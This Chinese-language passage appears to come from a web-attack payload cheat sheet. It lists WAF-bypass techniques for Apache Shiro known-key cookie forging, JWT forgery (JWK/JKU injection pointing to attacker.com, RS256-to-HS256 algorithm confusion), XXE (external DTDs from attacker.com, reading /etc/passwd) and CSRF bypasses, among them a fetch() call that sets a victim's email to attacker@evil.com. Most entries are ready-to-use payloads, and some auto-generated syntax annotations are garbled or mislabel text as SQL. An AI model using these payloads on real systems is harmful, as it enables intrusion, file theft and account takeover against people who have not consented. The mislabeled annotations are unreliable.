        key = base64.b64decode(k)
        iv = os.urandom(16)
        pad = 16 - len(payload) % 16
        padded = payload + bytes([pad]) * pad
        cipher = AES.new(key, AES.MODE_CBC, iv)
        enc = base64.b64encode(iv + cipher.encrypt(padded)).decode()
        print(f"Key: {k} → Cookie length: {len(enc)}")
    except Exception as e:
        print(f"Key: {k} → Error: {e}")

# 3. GCM模式(Shiro 1.4.2+):
# 新版Shiro使用AES-GCM,需要对应的加密方式

语法解析:

2. Shiro密钥枚举(使用不同密钥加密payload):

import base64, itertools ` — SQL表达式 value

  • from — SQL关键字 keyword
  • ` Crypto.Cipher import AES import os

keys = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "Z3VucwAAAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "fCq+/xW488hMTCD+cmJ3aQ==", ]

payload = open("payload.ser", "rb").read() for k in keys: try: key = base64.b64decode(k) iv = os.urandom(16) pad = 16 - len(payload) % 16 padded = payload + bytes([pad]) * pad cipher = AES.new(key, AES.MODE_CBC, iv) enc = base64.b64encode(iv + cipher.encrypt(padded)).decode() print(f"Key: {k} → Cookie length: {len(enc)}") except Exception as e: print(f"Key: {k} → Error: {e}")

3. GCM模式(Shiro 1.4.2+):

新版Shiro使用AES-GCM,需要对应的加密方式` — SQL表达式 value


JWT认证漏洞 auth-jwt

利用JWT(JSON Web Token)实现缺陷伪造或篡改认证令牌,实现未授权访问或权限提升

WAF 绕过:

JWK/JKU头部密钥注入

通过JWT Header中的jwk字段内嵌攻击者公钥或jku字段指向攻击者的JWKS端点,使服务端使用攻击者控制的密钥验证签名

# JWK内嵌密钥注入:
# 生成RSA密钥对:
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub

# 构造JWT Header:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"<attacker_n_base64>","e":"AQAB","use":"sig"}}
# 用attacker.key签名,服务端从jwk字段取公钥验证

# JKU远程密钥注入:
{"alg":"RS256","jku":"http://attacker.com/jwks.json"}
# 在attacker.com上部署包含攻击者公钥的JWKS文件

# 使用jwt_tool:
python3 jwt_tool.py <token> -X s -pr attacker.key

语法解析:

  • # JWK内嵌密钥注入: — 主要命令 command
  • ... — 共12行 value

算法降级与嵌套令牌利用

利用RS256到HS256的算法混淆攻击(用公钥作对称密钥签名),或在JWT Payload中嵌入伪造的内部JWT令牌触发递归解析漏洞

# 算法降级(RS256→HS256):
# 获取服务端公钥后用作HS256密钥:
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pub.pem
python3 -c "
import jwt
pub = open('pub.pem').read()
token = jwt.encode({'user':'admin','role':'admin'}, pub, algorithm='HS256')
print(token)"

# Claim篡改+嵌套JWT:
# 在JWT payload中嵌入另一个JWT:
{"user":"admin","inner_token":"<另一个伪造的JWT>"}
# 某些系统会递归解析inner_token

语法解析:

  • # 算法降级(RS256→HS256): — 主要命令 command
  • ... — 共12行 value

XXE实体注入

XXE基础攻击 xxe-basic

XML外部实体注入基础攻击技术

WAF 绕过:

参数实体

使用参数实体绕过

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>

语法解析:

  • % — 参数实体引用符 operator
  • %xxe; — 引用参数实体 variable

编码绕过

使用编码绕过

<?xml version="1.0" encoding="UTF-16"?>
使用不同编码绕过WAF

语法解析:

  • <?xml — 命令/关键字 command

盲注XXE攻击 xxe-blind

无回显的XXE攻击技术

WAF 绕过:

编码绕过

编码绕过

使用UTF-16编码XML文档
绕过WAF检测

语法解析:

  • 使用UTF-16编码XML文档 绕过WAF检测 — 攻击载荷 value

XXE OOB外带攻击 xxe-oob

利用OOB技术外带XXE数据

WAF 绕过:

使用CDATA

CDATA包装

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo><![CDATA[&xxe;]]></foo>

语法解析:

  • <![CDATA[ — XML CDATA段开始标记,内容不被XML解析器处理 operator
  • &xxe; — 实体引用在CDATA之前被解析展开 variable
  • ]]> — CDATA段结束标记 operator

XXE+SSRF组合攻击 xxe-ssrf

利用XXE实现SSRF攻击

WAF 绕过:

编码绕过

编码绕过

使用不同编码格式绕过IP过滤

语法解析:

  • IP编码 — 使用十进制(2130706433)、十六进制(0x7f000001)、八进制(0177.0.0.1)绕过 command
  • URL编码 — 对URL进行单次或双重URL编码绕过过滤 parameter

XXE到RCE xxe-rce

利用XXE实现远程代码执行

WAF 绕过:

编码绕过

编码绕过

使用Base64或其他编码绕过命令过滤

语法解析:

  • 使用Base64或其他编码绕过命令过滤 — 攻击载荷 value

XXE文件读取 xxe-file-read

利用XXE读取服务器文件

WAF 绕过:

使用参数实体

参数实体绕过

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY bar "%xxe;">
]>
<foo>&bar;</foo>

语法解析:

  • <?xml version="1.0"?> — XML声明/实体定义 tag
  • `<!DOCTYPE foo [
` — XML声明/实体定义 _tag_
  • <!ENTITY bar "%xxe;"> — XML声明/实体定义 tag
  • ]> <foo>&bar;</foo> — XML内容 value

XXE外部DTD利用 xxe-dtd

利用外部DTD文件进行XXE攻击

WAF 绕过:

使用HTTPS

HTTPS绕过

使用HTTPS托管DTD文件绕过HTTP过滤

语法解析:

  • 使用HTTPS托管DTD文件绕过HTTP过滤 — 命令/关键字 command

XLSX文件XXE xxe-xlsx

利用XLSX文件进行XXE攻击

WAF 绕过:

修改Content_Types

修改Content_Types

修改[Content_Types].xml注入XXE

语法解析:

  • [Content_Types].xml — XLSX中的内容类型定义文件,常被忽略 value
  • XXE注入 — 在此文件中注入XXE,绕过仅检查workbook.xml的WAF command

DOCX文件XXE xxe-docx

利用DOCX文件进行XXE攻击

WAF 绕过:

修改关系文件

修改关系文件

修改_rels/.rels或document.xml.rels注入XXE

语法解析:

  • _rels/.rels — DOCX根关系文件,定义文档各部分的关联 value
  • document.xml.rels — 文档关系文件,常被WAF忽略的注入点 value
  • XXE注入 — 在关系文件中注入XXE实体绕过内容检测 command

CSRF跨站请求伪造

CSRF基础攻击 csrf-basic

跨站请求伪造基础攻击技术

WAF 绕过:

Referer绕过

绕过Referer检查

使用Referrer Policy:
<meta name="referrer" content="no-referrer">
或使用data URL:
<data:text/html;base64,CSRF_PAYLOAD>
或使用HTTPS->HTTP降级

语法解析:

  • no-referrer — 不发送Referer头 value

Token绕过

绕过Token验证

1. 检查Token是否可预测
2. 检查Token是否绑定会话
3. 检查Token是否在GET参数中泄露
4. 检查是否有Token重放漏洞

语法解析:

  • 1. — 命令/载荷起始 command
  • ` 检查Token是否可预测
  1. 检查Token是否绑定会话
  2. 检查Token是否在GET参数中泄露
  3. 检查是否有Token重放漏洞` — 参数与载荷内容 value

JSON CSRF攻击 csrf-json

针对JSON请求的CSRF攻击技术

WAF 绕过:

修改Content-Type

修改Content-Type绕过

# 尝试不同的Content-Type
text/plain
application/x-www-form-urlencoded
application/x-www-form-urlencoded; charset=UTF-8

语法解析:

  • # — 命令/载荷起始 command
  • 尝试不同的Content-Type text/plain application/x-www-form-urlencoded application/x-www-form-urlencoded; charset=UTF-8 — 参数与载荷内容 value

使用FormData

使用FormData发送

let formData = new FormData();
formData.append("data", JSON.stringify({email: "attacker@evil.com"}));
fetch(url, {method: "POST", body: formData, credentials: "include"});

语法解析:

  • fetch() — 网络请求 function

CSRF绕过技术 csrf-bypass

绕过CSRF防护的各种技术

WAF 绕过:

CORS配置错误

利用CORS配置错误

# Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# Access-Control-Allow-Origin: *
允许任意源

# 反射Origin
Access-Control-Allow-Origin: [任意Origin]

语法解析:

  • # — 命令/载荷起始 command
  • ` Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: *

允许任意源

反射Origin

Access-Control-Allow-Origin: [任意Origin]` — 参数与载荷内容 value


SameSite绕过技术 csrf-samesite

绕过SameSite Cookie属性的CSRF攻击

WAF 绕过:

混合内容

利用混合内容

# HTTPS->HTTP降级
从HTTPS站点发起HTTP请求
某些情况下不发送SameSite

语法解析:

  • # — 命令/载荷起始 command
  • HTTPS->HTTP降级 从HTTPS站点发起HTTP请求 某些情况下不发送SameSite — 参数与载荷内容 value

客户端重定向

客户端重定向

# JavaScript重定向
location.href = "http://target.com/action"
可能绕过某些SameSite检查

语法解析:

  • # — 命令/载荷起始 command
  • JavaScript重定向 location.href = "http://target.com/action" 可能绕过某些SameSite检查 — 参数与载荷内容 value

Token绕过技术 csrf-token-bypass

绕过CSRF Token验证的技术

WAF 绕过:

方法覆盖

方法覆盖绕过

# 使用_method参数
POST /action?_method=PUT&token=xxx

# 使用X-HTTP-Method-Override
X-HTTP-Method-Override: PUT

语法解析:

  • # — 命令/载荷起始 command
  • ` 使用_method参数 POST /action?_method=PUT&token=xxx

使用X-HTTP-Method-Override

X-HTTP-Method-Override: PUT` — 参数与载荷内容 value

JSON格式

JSON格式绕过

# 使用JSON格式提交
Content-Type: application/json
{"token": "xxx", "action": "delete"}

# 可能绕过Token验证

语法解析:

  • # 使用JSON格式提交 Content-Type: application/json {"token": "xxx", "action": " — SQL表达式 value
  • delete — SQL关键字 keyword
  • `"}

可能绕过Token验证` — SQL表达式 value


Referer绕过技术 csrf-referer-bypass

绕过Referer验证的CSRF攻击

WAF 绕过:

iframe嵌入

iframe绕过

# 使用iframe嵌入目标
<iframe src="http://target.com" referrerpolicy="no-referrer">

# sandbox属性
<iframe sandbox="allow-scripts" src="...">

语法解析:

  • # — 命令/载荷起始 command
  • ` 使用iframe嵌入目标